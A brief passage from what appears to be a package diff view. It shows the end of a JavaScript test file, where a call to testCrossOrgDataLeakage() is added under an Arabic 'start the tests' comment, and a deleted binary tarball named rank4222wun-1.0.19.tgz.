console.log("=".repeat(70));
|
|
341
452
|
}
|
|
342
453
|
|
|
343
454
|
// بدء الاختبارات
|
|
344
|
-
|
|
455
|
+
testCrossOrgDataLeakage();
|
|
Binary file
|
package/rank4222wun-1.0.19.tgz
DELETED
|
Binary file
|